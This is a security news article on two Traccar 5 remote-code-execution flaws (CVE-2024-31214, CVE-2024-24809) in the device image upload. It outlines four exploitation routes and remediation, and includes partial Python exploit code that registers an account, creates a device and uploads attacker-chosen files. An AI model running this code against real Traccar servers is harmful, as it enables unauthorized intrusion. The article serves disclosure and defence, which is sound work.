Two critical vulnerabilities have been discovered in the Traccar GPS. These vulnerabilities, CVE-2024-31214 and CVE-2024-24809, allow unauthenticated attackers to execute remote code on systems running Traccar 5.
This article delves into the nature of these vulnerabilities, their potential impact, and the steps users can take to protect themselves.
Understanding Traccar and Its Vulnerabilities
Traccar is a widely used open-source GPS tracking system famous for personal and fleet management purposes. The system, which is Java-based and utilizes Jetty as its web server, enables users to register devices for tracking. These devices communicate their location to the Traccar server using various protocols.
According to the Horizon3 report, the vulnerabilities stem from the device image file upload feature introduced in Traccar 5.1. The issues lie in handling device image uploads, which can be manipulated to execute remote code.
Vulnerability Details
The vulnerabilities allow attackers to exploit the device image upload API by manipulating two key variables:
- Device Unique ID: This can be exploited using path traversal sequences like ../, enabling attackers to place files anywhere on the file system.
- Content-Type Header: By altering this header, attackers can set arbitrary file extensions, such as creating a file named device.html. These manipulations can lead to unauthorized file placement, facilitating remote code execution.
Are You From SOC/DFIR Teams? - Try Advanced Malware and Phishing Analysis With ANY.RUN -14-day free trial
Exploitation Methods
Method 1: Uploading a Crontab File
On Red Hat-based Linux systems, attackers can upload a crontab file to achieve remote code execution.
This method involves exploiting the path traversal in the Content-Type header to upload a crontab file, resulting in a reverse shell on the attacker’s host. However, due to filename restrictions, this method is not effective on Debian/Ubuntu systems.
from argparse import ArgumentParser
import requests
import sys
import secrets
def register(url) -> tuple:
registration_url = f'{url}/api/users'
username = secrets.token_hex(16)
email = f'{username}@example.org'
password = secrets.token_hex(32)
user_dict = { 'name': username, 'email': email, 'password': password, 'totpKey': None}
r = requests.post(registration_url, json=user_dict, verify=False, timeout=10)
id = r.json()['id']
print(f'Created user id {id} with email {email} and password {password}')
return (email, password)
def login(url, email, password) -> requests.Session:
session = requests.Session()
login_url = f'{url}/api/session'
r = session.post(login_url, data = {'email': email, 'password': password}, verify=False, timeout=10)
r.json()['id'] # got expected login response
print(f'Logged in')
return session
def create_device(url, session):
device_url = f'{url}/api/devices'
device_name = secrets.token_hex(12)
unique_id = device_name
r = session.post(device_url, json={'name': device_name, 'uniqueId': unique_id}, verify=False, timeout=10)
device_id = r.json()['id']
print(f'Created device {device_id} with unique id {unique_id}')
return (device_id, device_name, unique_id)
def upload(url, session, device_id, content_type, data_bytes):
upload_url = f'{url}/api/devices/{device_id}/image'
headers = {
'Content-Type': content_type
}
r = session.post(upload_url, headers=headers, data=data_bytes, verify=False, timeout=10)
if r.status_code == 200:
return r.text
else:
print(f'Upload failed, maybe Windows?: {r.status_code}: {r.text}')
sys.exit(1)
Method 2: Uploading a Kernel Module
This method requires user interaction, such as logging into or rebooting the host. By dropping specific files on the disk, attackers can execute a kernel module at startup, achieving remote code execution.
Method 3: Creating a udevd Rule
Attackers can drop a file in the /etc/udevd/rules.d folder. When the system is restarted, the udevd service executes the commands in the file, leading to remote code execution.
Method 4: Uploading a Windows Shortcut File
On Windows systems, attackers can place a malicious shortcut file in the StartUp folder, executing commands when a user logs into the vulnerable Traccar host.
Users can determine if their Traccar version is vulnerable by sending a network request to the /api/server endpoint. If the registration setting is true, the system is susceptible to attack.
To remediate this, users should upgrade to Traccar 6 or disable the registration setting. Be cautious; compromised systems might trigger latent exploit payloads upon login or reboot.
The discovery of these vulnerabilities in Traccar 5 highlights the importance of regular software updates and security audits. By upgrading to Traccar 6, users can protect themselves from potential exploits and ensure the security of their GPS tracking systems.
The changes implemented in Traccar 6, such as disabling self-registration by default, significantly reduce the attack surface for unauthenticated attackers, marking a crucial step forward in securing this widely used platform.
Protect Your Business with Cynet Managed All-in-One Cybersecurity Platform – Try Free Trial